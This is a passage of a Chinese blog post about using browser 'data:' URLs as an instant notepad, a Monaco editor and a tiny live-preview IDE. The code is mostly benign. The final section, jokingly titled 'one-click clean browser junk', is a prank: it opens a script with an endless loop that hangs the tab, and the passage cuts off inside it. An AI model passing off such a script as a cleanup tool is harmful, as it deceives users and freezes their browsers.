title=\"解析\"\u003e\u003c/a\u003e解析\u003c/h2\u003e\u003cp\u003e整体而言,这是个利用浏览器解码base64能力实现的编辑器,程序本体就是逗号后边的部分。解码能够得到:\u003c/p\u003e\u003cfigure class=\"highlight html\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"tag\"\u003e\u0026lt;\u003cspan class=\"name\"\u003ehtml\u003c/span\u003e \u003cspan class=\"attr\"\u003econtenteditable\u003c/span\u003e\u0026gt;\u003c/span\u003eedit me\u003cspan class=\"tag\"\u003e\u0026lt;/\u003cspan class=\"name\"\u003ehtml\u003c/span\u003e\u0026gt;\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e所以同理还可以玩更多花活(。\u003c/p\u003e\u003cp\u003e首先可以升级一下:\u003c/p\u003e\u003cp\u003e小加强版:\u003c/p\u003e\u003cfigure class=\"highlight html\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003edata:text/html,\u003cspan class=\"tag\"\u003e\u0026lt;\u003cspan class=\"name\"\u003ebody\u003c/span\u003e \u003cspan class=\"attr\"\u003econtenteditable\u003c/span\u003e \u003cspan class=\"attr\"\u003estyle\u003c/span\u003e=\u003cspan class=\"string\"\u003eline-height:1.5;margin-left:20%;margin-right:20%;font-family:system-ui\u003c/span\u003e\u0026gt;\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e再加强:支持将编辑内容一键复制成 url 分享给其他人 \u003c/p\u003e\u003cfigure class=\"highlight html\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003edata:text/html;base64,PGh0bWw+PGhlYWQ+CiAgICA8bWV0YSBjaGFyc2V0PSJVVEYtOCI+CiAgICA8bWV0YSBodHRwLWVxdWl2PSJYLVVBLUNvbXBhdGlibGUiIGNvbnRlbnQ9IklFPWVkZ2UiPgogICAgPG1ldGEgbmFtZT0idmlld3BvcnQiIGNvbnRlbnQ9IndpZHRoPWRldmljZS13aWR0aCwgaW5pdGlhbC1zY2FsZT0xLjAiPgogICAgPHRpdGxlPkRvY3VtZW50PC90aXRsZT4KICA8L2hlYWQ+CiAgPGJvZHk+CiAgICA8YnV0dG9uIGlkPSJidG4iPuWwhue8lui+keWGheWuueWkjeWItuS4ukRhdGFVcmw8L2J1dHRvbj4KICAgIDxkaXYgaWQ9ImVkaXRvci1hcmVhIiBjb250ZW50ZWRpdGFibGU9IiI+PC9kaXY+CiAgCiAgPHN0eWxlPgogICAgI2VkaXRvci1hcmVhIHsKICAgICAgd2lkdGg6IDEwMCU7CiAgICAgIGhlaWdodDogY2FsYygxMDB2aCAtIDgwcHgpOwogICAgICBtYXJnaW4tdG9wOiAyMHB4OwogICAgICBvdmVyZmxvdzogc2Nyb2xsOwogICAgICBvdXRsaW5lOiAxcHggc29saWQgZ3JheTsKICAgIH0KICA8L3N0eWxlPgogIDxzY3JpcHQ+CiAgICBmdW5jdGlvbiB1dGY4X3RvX2I2NChzdHIpIHsKICAgICAgcmV0dXJuIHdpbmRvdy5idG9hKHVuZXNjYXBlKGVuY29kZVVSSUNvbXBvbmVudChzdHIpKSk7CiAgICB9CgogICAgLy8gZnVuY3Rpb24gYjY0X3RvX3V0Zjgoc3RyKSB7CiAgICAvLyAgIHJldHVybiBkZWNvZGVVUklDb21wb25lbnQoZXNjYXBlKHdpbmRvdy5hdG9iKHN0cikpKTsKICAgIC8vIH0KCiAgICBjb25zdCBidG4gPSBkb2N1bWVudC5xdWVyeVNlbGVjdG9yKCIjYnRuIik7CiAgICBidG4uYWRkRXZlbnRMaXN0ZW5lcigiY2xpY2siLCAoKSA9PiB7CiAgICAgIGNvbnN0IGh0bWxDb250ZW50ID0gZG9jdW1lbnQucXVlcnlTZWxlY3RvcigiaHRtbCIpOwogICAgICBjb25zb2xlLmxvZyhodG1sQ29udGVudC5pbm5lckhUTUwpOwogICAgICBjb25zdCBkYXRhVXJsID0gIjxodG1sPiIgKyBodG1sQ29udGVudC5pbm5lckhUTUwgKyAiPC9odG1sPiI7CiAgICAgIGNvbnN0IGJhc2U2NCA9IHV0ZjhfdG9fYjY0KGRhdGFVcmwpOwogICAgICAvLyBjb25zb2xlLmxvZyhiYXNlNjQpOwoKICAgICAgY29uc3QgaW5wdXRWYWx1ZSA9IGBkYXRhOnRleHQvaHRtbDtiYXNlNjQsJHtiYXNlNjR9YAogICAgICBjb25zdCBpbnB1dCA9IGRvY3VtZW50LmNyZWF0ZUVsZW1lbnQoImlucHV0Iik7CiAgICAgIGlucHV0LnNldEF0dHJpYnV0ZSgicmVhZG9ubHkiLCAicmVhZG9ubHkiKTsKICAgICAgaW5wdXQuc2V0QXR0cmlidXRlKCJ2YWx1ZSIsIGlucHV0VmFsdWUpOwogICAgICBkb2N1bWVudC5ib2R5LmFwcGVuZENoaWxkKGlucHV0KTsKICAgICAgaW5wdXQuc2V0U2VsZWN0aW9uUmFuZ2UoMCwgOTk5OSk7CiAgICAgIGlucHV0LnNlbGVjdCgpOwogICAgICBkb2N1bWVudC5leGVjQ29tbWFuZCgiY29weSIpOwogICAgICBkb2N1bWVudC5ib2R5LnJlbW92ZUNoaWxkKGlucHV0KTsKICAgIH0pOwogIDwvc2NyaXB0PgoKPC9ib2R5PjwvaHRtbD4=\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e再加强:VSCode版(不过这个因为用了外置js得联网):\u003c/p\u003e\u003cfigure class=\"highlight html\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003edata:text/html;charset=utf-8,\u003cspan class=\"meta\"\u003e\u0026lt;!DOCTYPE \u003cspan class=\"keyword\"\u003ehtml\u003c/span\u003e\u0026gt;\u003c/span\u003e \u003cspan class=\"tag\"\u003e\u0026lt;\u003cspan class=\"name\"\u003ehtml\u003c/span\u003e\u0026gt;\u003c/span\u003e \u003cspan class=\"tag\"\u003e\u0026lt;\u003cspan class=\"name\"\u003ehead\u003c/span\u003e\u0026gt;\u003c/span\u003e \u003cspan class=\"tag\"\u003e\u0026lt;\u003cspan class=\"name\"\u003emeta\u003c/span\u003e \u003cspan class=\"attr\"\u003ehttp-equiv\u003c/span\u003e=\u003cspan class=\"string\"\u003e\u0026#34;Content-Type\u0026#34;\u003c/span\u003e \u003cspan class=\"attr\"\u003econtent\u003c/span\u003e=\u003cspan class=\"string\"\u003e\u0026#34;text/html;charset=utf-8\u0026#34;\u003c/span\u003e /\u0026gt;\u003c/span\u003e \u003cspan class=\"tag\"\u003e\u0026lt;/\u003cspan class=\"name\"\u003ehead\u003c/span\u003e\u0026gt;\u003c/span\u003e \u003cspan class=\"tag\"\u003e\u0026lt;\u003cspan class=\"name\"\u003ebody\u003c/span\u003e \u003cspan class=\"attr\"\u003estyle\u003c/span\u003e=\u003cspan class=\"string\"\u003e\u0026#34;margin: 0; height: 100vh\u0026#34;\u003c/span\u003e\u0026gt;\u003c/span\u003e \u003cspan class=\"tag\"\u003e\u0026lt;\u003cspan class=\"name\"\u003ediv\u003c/span\u003e \u003cspan class=\"attr\"\u003eid\u003c/span\u003e=\u003cspan class=\"string\"\u003e\u0026#34;container\u0026#34;\u003c/span\u003e \u003cspan class=\"attr\"\u003estyle\u003c/span\u003e=\u003cspan class=\"string\"\u003e\u0026#34;width: 100%; height: 100%\u0026#34;\u003c/span\u003e\u0026gt;\u003c/span\u003e\u003cspan class=\"tag\"\u003e\u0026lt;/\u003cspan class=\"name\"\u003ediv\u003c/span\u003e\u0026gt;\u003c/span\u003e \u003cspan class=\"tag\"\u003e\u0026lt;\u003cspan class=\"name\"\u003escript\u003c/span\u003e \u003cspan class=\"attr\"\u003etype\u003c/span\u003e=\u003cspan class=\"string\"\u003e\u0026#34;text/javascript\u0026#34;\u003c/span\u003e \u003cspan class=\"attr\"\u003esrc\u003c/span\u003e=\u003cspan class=\"string\"\u003e\u0026#34;[https://unpkg.com/monaco-editor@latest/min/vs/loader.js](https://unpkg.com/monaco-editor@latest/min/vs/loader.js)\u0026#34;\u003c/span\u003e\u0026gt;\u003c/span\u003e\u003cspan class=\"tag\"\u003e\u0026lt;/\u003cspan class=\"name\"\u003escript\u003c/span\u003e\u0026gt;\u003c/span\u003e \u003cspan class=\"tag\"\u003e\u0026lt;\u003cspan class=\"name\"\u003escript\u003c/span\u003e\u0026gt;\u003c/span\u003e\u003cspan class=\"language-javascript\"\u003e \u003cspan class=\"built_in\"\u003erequire\u003c/span\u003e.\u003cspan class=\"title function_\"\u003econfig\u003c/span\u003e({ \u003cspan class=\"attr\"\u003epaths\u003c/span\u003e: { \u003cspan class=\"attr\"\u003evs\u003c/span\u003e: \u003cspan class=\"string\"\u003e\u0026#34;[https://unpkg.com/monaco-editor@latest/min/vs](https://unpkg.com/monaco-editor@latest/min/vs)\u0026#34;\u003c/span\u003e } }); \u003cspan class=\"built_in\"\u003erequire\u003c/span\u003e([\u003cspan class=\"string\"\u003e\u0026#34;vs/editor/editor.main\u0026#34;\u003c/span\u003e], \u003cspan class=\"keyword\"\u003efunction\u003c/span\u003e (\u003cspan class=\"params\"\u003e\u003c/span\u003e) { monaco.\u003cspan class=\"property\"\u003eeditor\u003c/span\u003e.\u003cspan class=\"title function_\"\u003ecreate\u003c/span\u003e(\u003cspan class=\"variable language_\"\u003edocument\u003c/span\u003e.\u003cspan class=\"title function_\"\u003egetElementById\u003c/span\u003e(\u003cspan class=\"string\"\u003e\u0026#34;container\u0026#34;\u003c/span\u003e), { \u003cspan class=\"attr\"\u003elanguage\u003c/span\u003e: \u003cspan class=\"string\"\u003e\u0026#34;json\u0026#34;\u003c/span\u003e, \u003cspan class=\"attr\"\u003etheme\u003c/span\u003e: \u003cspan class=\"string\"\u003e\u0026#34;vs-dark\u0026#34;\u003c/span\u003e, }); }); \u003c/span\u003e\u003cspan class=\"tag\"\u003e\u0026lt;/\u003cspan class=\"name\"\u003escript\u003c/span\u003e\u0026gt;\u003c/span\u003e \u003cspan class=\"tag\"\u003e\u0026lt;/\u003cspan class=\"name\"\u003ebody\u003c/span\u003e\u0026gt;\u003c/span\u003e \u003cspan class=\"tag\"\u003e\u0026lt;/\u003cspan class=\"name\"\u003ehtml\u003c/span\u003e\u0026gt;\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003ch2 id=\"花活1:升级版前端IDE\"\u003e\u003ca href=\"https://xeonds.github.io/2023/06/10/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E4%B8%80%E4%B8%AA%E5%A5%87%E6%80%AA%E7%9A%84Base64%E6%B5%8F%E8%A7%88%E5%99%A8%E8%AE%B0%E4%BA%8B%E6%9C%AC/#%E8%8A%B1%E6%B4%BB1%EF%BC%9A%E5%8D%87%E7%BA%A7%E7%89%88%E5%89%8D%E7%AB%AFIDE\" class=\"headerlink\" title=\"花活1:升级版前端IDE\"\u003e\u003c/a\u003e花活1:升级版前端IDE\u003c/h2\u003e\u003cfigure class=\"highlight html\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003edata:text/html,\u003cspan class=\"tag\"\u003e\u0026lt;\u003cspan class=\"name\"\u003ebody\u003c/span\u003e \u003cspan class=\"attr\"\u003eoninput\u003c/span\u003e=\u003cspan class=\"string\"\u003e\u0026#34;i.srcdoc=h.value+\u0026#39;\u0026lt;style\u0026gt;\u0026#39;+c.value+\u0026#39;\u0026lt;/style\u0026gt;\u0026lt;script\u0026gt;\u0026#39;+j.value+\u0026#39;\u0026lt;/script\u0026gt;\u0026#39;\u0026#34;\u003c/span\u003e\u0026gt;\u003c/span\u003e\u003cspan class=\"tag\"\u003e\u0026lt;\u003cspan class=\"name\"\u003estyle\u003c/span\u003e\u0026gt;\u003c/span\u003e\u003cspan class=\"language-css\"\u003e\u003cspan class=\"selector-tag\"\u003etextarea\u003c/span\u003e,\u003cspan class=\"selector-tag\"\u003eiframe\u003c/span\u003e{\u003cspan class=\"attribute\"\u003ewidth\u003c/span\u003e:\u003cspan class=\"number\"\u003e100%\u003c/span\u003e;\u003cspan class=\"attribute\"\u003eheight\u003c/span\u003e:\u003cspan class=\"number\"\u003e50%\u003c/span\u003e}\u003cspan class=\"selector-tag\"\u003ebody\u003c/span\u003e{\u003cspan class=\"attribute\"\u003emargin\u003c/span\u003e:\u003cspan class=\"number\"\u003e0\u003c/span\u003e}\u003cspan class=\"selector-tag\"\u003etextarea\u003c/span\u003e{\u003cspan class=\"attribute\"\u003ewidth\u003c/span\u003e:\u003cspan class=\"number\"\u003e33.33%\u003c/span\u003e;\u003cspan class=\"attribute\"\u003efont-size\u003c/span\u003e:\u003cspan class=\"number\"\u003e18\u003c/span\u003e}\u003c/span\u003e\u003cspan class=\"tag\"\u003e\u0026lt;/\u003cspan class=\"name\"\u003estyle\u003c/span\u003e\u0026gt;\u003c/span\u003e\u003cspan class=\"tag\"\u003e\u0026lt;\u003cspan class=\"name\"\u003etextarea\u003c/span\u003e \u003cspan class=\"attr\"\u003eplaceholder\u003c/span\u003e=\u003cspan class=\"string\"\u003eHTML\u003c/span\u003e \u003cspan class=\"attr\"\u003eid\u003c/span\u003e=\u003cspan class=\"string\"\u003eh\u003c/span\u003e\u0026gt;\u003c/span\u003e\u003cspan class=\"tag\"\u003e\u0026lt;/\u003cspan class=\"name\"\u003etextarea\u003c/span\u003e\u0026gt;\u003c/span\u003e\u003cspan class=\"tag\"\u003e\u0026lt;\u003cspan class=\"name\"\u003etextarea\u003c/span\u003e \u003cspan class=\"attr\"\u003eplaceholder\u003c/span\u003e=\u003cspan class=\"string\"\u003eCSS\u003c/span\u003e \u003cspan class=\"attr\"\u003eid\u003c/span\u003e=\u003cspan class=\"string\"\u003ec\u003c/span\u003e\u0026gt;\u003c/span\u003e\u003cspan class=\"tag\"\u003e\u0026lt;/\u003cspan class=\"name\"\u003etextarea\u003c/span\u003e\u0026gt;\u003c/span\u003e\u003cspan class=\"tag\"\u003e\u0026lt;\u003cspan class=\"name\"\u003etextarea\u003c/span\u003e \u003cspan class=\"attr\"\u003eplaceholder\u003c/span\u003e=\u003cspan class=\"string\"\u003eJS\u003c/span\u003e \u003cspan class=\"attr\"\u003eid\u003c/span\u003e=\u003cspan class=\"string\"\u003ej\u003c/span\u003e\u0026gt;\u003c/span\u003e\u003cspan class=\"tag\"\u003e\u0026lt;/\u003cspan class=\"name\"\u003etextarea\u003c/span\u003e\u0026gt;\u003c/span\u003e\u003cspan class=\"tag\"\u003e\u0026lt;\u003cspan class=\"name\"\u003eiframe\u003c/span\u003e \u003cspan class=\"attr\"\u003eid\u003c/span\u003e=\u003cspan class=\"string\"\u003ei\u003c/span\u003e\u0026gt;\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e加强版:\u003c/p\u003e\u003cfigure class=\"highlight html\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003edata:text/html,\u003cspan class=\"tag\"\u003e\u0026lt;\u003cspan class=\"name\"\u003ebody\u003c/span\u003e \u003cspan class=\"attr\"\u003eoninput\u003c/span\u003e=\u003cspan class=\"string\"\u003e\u0026#34;i.srcdoc=h.value+\u0026#39;\u0026lt;style\u0026gt;\u0026#39;+c.value+\u0026#39;\u0026lt;/style\u0026gt;\u0026lt;script\u0026gt;\u0026#39;+j.value+\u0026#39;\u0026lt;/script\u0026gt;\u0026#39;\u0026#34;\u003c/span\u003e\u0026gt;\u003c/span\u003e\u003cspan class=\"tag\"\u003e\u0026lt;\u003cspan class=\"name\"\u003estyle\u003c/span\u003e\u0026gt;\u003c/span\u003e\u003cspan class=\"language-css\"\u003e \u003cspan class=\"selector-tag\"\u003etextarea\u003c/span\u003e, \u003cspan class=\"selector-tag\"\u003eiframe\u003c/span\u003e { \u003cspan class=\"attribute\"\u003ewidth\u003c/span\u003e: \u003cspan class=\"number\"\u003e100%\u003c/span\u003e; \u003cspan class=\"attribute\"\u003eheight\u003c/span\u003e: \u003cspan class=\"number\"\u003e50%\u003c/span\u003e; \u003cspan class=\"attribute\"\u003ebackground-color\u003c/span\u003e: \u003cspan class=\"built_in\"\u003ergb\u003c/span\u003e(\u003cspan class=\"number\"\u003e245\u003c/span\u003e, \u003cspan class=\"number\"\u003e245\u003c/span\u003e, \u003cspan class=\"number\"\u003e245\u003c/span\u003e); } \u003cspan class=\"selector-tag\"\u003ebody\u003c/span\u003e { \u003cspan class=\"attribute\"\u003emargin\u003c/span\u003e: \u003cspan class=\"number\"\u003e0\u003c/span\u003e; \u003cspan class=\"attribute\"\u003ebackground-color\u003c/span\u003e: \u003cspan class=\"built_in\"\u003ergb\u003c/span\u003e(\u003cspan class=\"number\"\u003e245\u003c/span\u003e, \u003cspan class=\"number\"\u003e245\u003c/span\u003e, \u003cspan class=\"number\"\u003e245\u003c/span\u003e); } \u003cspan class=\"selector-tag\"\u003etextarea\u003c/span\u003e, \u003cspan class=\"selector-tag\"\u003eiframe\u003c/span\u003e { \u003cspan class=\"attribute\"\u003ewidth\u003c/span\u003e: \u003cspan class=\"number\"\u003e33.3%\u003c/span\u003e; \u003cspan class=\"attribute\"\u003eheight\u003c/span\u003e: \u003cspan class=\"number\"\u003e100%\u003c/span\u003e; \u003cspan class=\"attribute\"\u003eflex\u003c/span\u003e: \u003cspan class=\"number\"\u003e1\u003c/span\u003e; \u003cspan class=\"attribute\"\u003efont-size\u003c/span\u003e: \u003cspan class=\"number\"\u003e18\u003c/span\u003e; \u003cspan class=\"attribute\"\u003eresize\u003c/span\u003e: none; } \u003cspan class=\"selector-tag\"\u003etextarea\u003c/span\u003e\u003cspan class=\"selector-pseudo\"\u003e:focus\u003c/span\u003e { \u003cspan class=\"attribute\"\u003ebackground-color\u003c/span\u003e: white; } \u003cspan class=\"selector-class\"\u003e.menu\u003c/span\u003e { \u003cspan class=\"attribute\"\u003etext-align\u003c/span\u003e: center; \u003cspan class=\"attribute\"\u003eoverflow\u003c/span\u003e: hidden; \u003cspan class=\"attribute\"\u003ewidth\u003c/span\u003e: \u003cspan class=\"number\"\u003e100%\u003c/span\u003e; \u003cspan class=\"attribute\"\u003epadding\u003c/span\u003e: \u003cspan class=\"number\"\u003e5px\u003c/span\u003e \u003cspan class=\"number\"\u003e0\u003c/span\u003e; } \u003cspan class=\"selector-class\"\u003e.panels\u003c/span\u003e { \u003cspan class=\"attribute\"\u003edisplay\u003c/span\u003e: flex; \u003cspan class=\"attribute\"\u003ejustify-content\u003c/span\u003e: center; \u003cspan class=\"attribute\"\u003eheight\u003c/span\u003e: \u003cspan class=\"built_in\"\u003ecalc\u003c/span\u003e(\u003cspan class=\"number\"\u003e100%\u003c/span\u003e - \u003cspan class=\"number\"\u003e40px\u003c/span\u003e); }\u003c/span\u003e\u003cspan class=\"tag\"\u003e\u0026lt;/\u003cspan class=\"name\"\u003estyle\u003c/span\u003e\u0026gt;\u003c/span\u003e\u003cspan class=\"tag\"\u003e\u0026lt;\u003cspan class=\"name\"\u003escript\u003c/span\u003e\u0026gt;\u003c/span\u003e\u003cspan class=\"language-javascript\"\u003e \u003cspan class=\"keyword\"\u003efunction\u003c/span\u003e \u003cspan class=\"title function_\"\u003eswitchDisplay\u003c/span\u003e(\u003cspan class=\"params\"\u003eid\u003c/span\u003e) { \u003cspan class=\"keyword\"\u003evar\u003c/span\u003e dom = \u003cspan class=\"variable language_\"\u003edocument\u003c/span\u003e.\u003cspan class=\"title function_\"\u003egetElementById\u003c/span\u003e(id); \u003cspan class=\"keyword\"\u003eif\u003c/span\u003e (!dom) \u003cspan class=\"keyword\"\u003ereturn\u003c/span\u003e; \u003cspan class=\"keyword\"\u003eif\u003c/span\u003e (dom.\u003cspan class=\"property\"\u003estyle\u003c/span\u003e.\u003cspan class=\"property\"\u003edisplay\u003c/span\u003e !== \u003cspan class=\"string\"\u003e\u0026#39;\u0026#39;\u003c/span\u003e) { dom.\u003cspan class=\"property\"\u003estyle\u003c/span\u003e.\u003cspan class=\"property\"\u003edisplay\u003c/span\u003e = \u003cspan class=\"string\"\u003e\u0026#39;\u0026#39;\u003c/span\u003e; \u003cspan class=\"keyword\"\u003ereturn\u003c/span\u003e; } \u003cspan class=\"keyword\"\u003eif\u003c/span\u003e (dom.\u003cspan class=\"property\"\u003estyle\u003c/span\u003e.\u003cspan class=\"property\"\u003edisplay\u003c/span\u003e === \u003cspan class=\"string\"\u003e\u0026#39;\u0026#39;\u003c/span\u003e) { dom.\u003cspan class=\"property\"\u003estyle\u003c/span\u003e.\u003cspan class=\"property\"\u003edisplay\u003c/span\u003e = \u003cspan class=\"string\"\u003e\u0026#39;none\u0026#39;\u003c/span\u003e; \u003cspan class=\"keyword\"\u003ereturn\u003c/span\u003e; } }\u003c/span\u003e\u003cspan class=\"tag\"\u003e\u0026lt;/\u003cspan class=\"name\"\u003escript\u003c/span\u003e\u0026gt;\u003c/span\u003e\u003cspan class=\"tag\"\u003e\u0026lt;\u003cspan class=\"name\"\u003ediv\u003c/span\u003e \u003cspan class=\"attr\"\u003eclass\u003c/span\u003e=\u003cspan class=\"string\"\u003e\u0026#34;menu\u0026#34;\u003c/span\u003e\u0026gt;\u003c/span\u003e\u003cspan class=\"tag\"\u003e\u0026lt;\u003cspan class=\"name\"\u003ebutton\u003c/span\u003e \u003cspan class=\"attr\"\u003eonclick\u003c/span\u003e=\u003cspan class=\"string\"\u003e\u0026#34;switchDisplay(\u0026#39;h\u0026#39;)\u0026#34;\u003c/span\u003e\u0026gt;\u003c/span\u003eHTML\u003cspan class=\"tag\"\u003e\u0026lt;/\u003cspan class=\"name\"\u003ebutton\u003c/span\u003e\u0026gt;\u003c/span\u003e\u003cspan class=\"tag\"\u003e\u0026lt;\u003cspan class=\"name\"\u003ebutton\u003c/span\u003e \u003cspan class=\"attr\"\u003eonclick\u003c/span\u003e=\u003cspan class=\"string\"\u003e\u0026#34;switchDisplay(\u0026#39;c\u0026#39;)\u0026#34;\u003c/span\u003e\u0026gt;\u003c/span\u003eCSS\u003cspan class=\"tag\"\u003e\u0026lt;/\u003cspan class=\"name\"\u003ebutton\u003c/span\u003e\u0026gt;\u003c/span\u003e\u003cspan class=\"tag\"\u003e\u0026lt;\u003cspan class=\"name\"\u003ebutton\u003c/span\u003e \u003cspan class=\"attr\"\u003eonclick\u003c/span\u003e=\u003cspan class=\"string\"\u003e\u0026#34;switchDisplay(\u0026#39;j\u0026#39;)\u0026#34;\u003c/span\u003e\u0026gt;\u003c/span\u003eJavaScript\u003cspan class=\"tag\"\u003e\u0026lt;/\u003cspan class=\"name\"\u003ebutton\u003c/span\u003e\u0026gt;\u003c/span\u003e\u003cspan class=\"tag\"\u003e\u0026lt;\u003cspan class=\"name\"\u003ebutton\u003c/span\u003e \u003cspan class=\"attr\"\u003eonclick\u003c/span\u003e=\u003cspan class=\"string\"\u003e\u0026#34;switchDisplay(\u0026#39;i\u0026#39;)\u0026#34;\u003c/span\u003e\u0026gt;\u003c/span\u003eOutput\u003cspan class=\"tag\"\u003e\u0026lt;/\u003cspan class=\"name\"\u003ebutton\u003c/span\u003e\u0026gt;\u003c/span\u003e\u003cspan class=\"tag\"\u003e\u0026lt;/\u003cspan class=\"name\"\u003ediv\u003c/span\u003e\u0026gt;\u003c/span\u003e\u003cspan class=\"tag\"\u003e\u0026lt;\u003cspan class=\"name\"\u003ediv\u003c/span\u003e \u003cspan class=\"attr\"\u003eclass\u003c/span\u003e=\u003cspan class=\"string\"\u003e\u0026#34;panels\u0026#34;\u003c/span\u003e\u0026gt;\u003c/span\u003e\u003cspan class=\"tag\"\u003e\u0026lt;\u003cspan class=\"name\"\u003etextarea\u003c/span\u003e \u003cspan class=\"attr\"\u003eplaceholder\u003c/span\u003e=\u003cspan class=\"string\"\u003eHTML\u003c/span\u003e \u003cspan class=\"attr\"\u003eid\u003c/span\u003e=\u003cspan class=\"string\"\u003eh\u003c/span\u003e\u0026gt;\u003c/span\u003e\u003cspan class=\"tag\"\u003e\u0026lt;/\u003cspan class=\"name\"\u003etextarea\u003c/span\u003e\u0026gt;\u003c/span\u003e\u003cspan class=\"tag\"\u003e\u0026lt;\u003cspan class=\"name\"\u003etextarea\u003c/span\u003e \u003cspan class=\"attr\"\u003eplaceholder\u003c/span\u003e=\u003cspan class=\"string\"\u003eCSS\u003c/span\u003e \u003cspan class=\"attr\"\u003eid\u003c/span\u003e=\u003cspan class=\"string\"\u003ec\u003c/span\u003e\u0026gt;\u003c/span\u003e\u003cspan class=\"tag\"\u003e\u0026lt;/\u003cspan class=\"name\"\u003etextarea\u003c/span\u003e\u0026gt;\u003c/span\u003e\u003cspan class=\"tag\"\u003e\u0026lt;\u003cspan class=\"name\"\u003etextarea\u003c/span\u003e \u003cspan class=\"attr\"\u003eplaceholder\u003c/span\u003e=\u003cspan class=\"string\"\u003eJS\u003c/span\u003e \u003cspan class=\"attr\"\u003eid\u003c/span\u003e=\u003cspan class=\"string\"\u003ej\u003c/span\u003e\u0026gt;\u003c/span\u003e\u003cspan class=\"tag\"\u003e\u0026lt;/\u003cspan class=\"name\"\u003etextarea\u003c/span\u003e\u0026gt;\u003c/span\u003e\u003cspan class=\"tag\"\u003e\u0026lt;\u003cspan class=\"name\"\u003eiframe\u003c/span\u003e \u003cspan class=\"attr\"\u003eid\u003c/span\u003e=\u003cspan class=\"string\"\u003ei\u003c/span\u003e\u0026gt;\u003c/span\u003e\u003cspan class=\"tag\"\u003e\u0026lt;/\u003cspan class=\"name\"\u003ediv\u003c/span\u003e\u0026gt;\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e评价:好活。\u003c/p\u003e\u003ch2 id=\"花活2:一键清理浏览器垃圾\"\u003e\u003ca href=\"https://xeonds.github.io/2023/06/10/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E4%B8%80%E4%B8%AA%E5%A5%87%E6%80%AA%E7%9A%84Base64%E6%B5%8F%E8%A7%88%E5%99%A8%E8%AE%B0%E4%BA%8B%E6%9C%AC/#%E8%8A%B1%E6%B4%BB2%EF%BC%9A%E4%B8%80%E9%94%AE%E6%B8%85%E7%90%86%E6%B5%8F%E8%A7%88%E5%99%A8%E5%9E%83%E5%9C%BE\" class=\"headerlink\" title=\"花活2:一键清理浏览器垃圾\"\u003e\u003c/a\u003e花活2:一键清理浏览器垃圾\u003c/h2\u003e\u003cblockquote\u003e\u003cp\u003e并不(\u003c/p\u003e\u003c/blockquote\u003e\u003cfigure class=\"highlight html\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003edata:text/html;charset=utf-8,\u003cspan class=\"tag\"\u003e\u0026lt;\u003cspan class=\"name\"\u003escript\u003c/span\u003e\u0026gt;\u003c/span\u003e\u003cspan class=\"language-javascript\"\u003e\u003cspan class=\"keyword\"\u003ewhile\u003c/span\u003e(\u003cspan class=\"number\"\u003e1\u003c/span\u003e){\u003cspan class=\"title class_\"\u003eMath\u003c/span\u003e.\u003cspan class=\"title function_\"\u003erandom\u003c/span\u003e()*\u003cspan class=\"title class_\"\u003eMath\u003c/span\u003e.\u003cspan class=\"title function_\"\u003erandom\u003c/span\u003e()/\u003cspan class=\"title 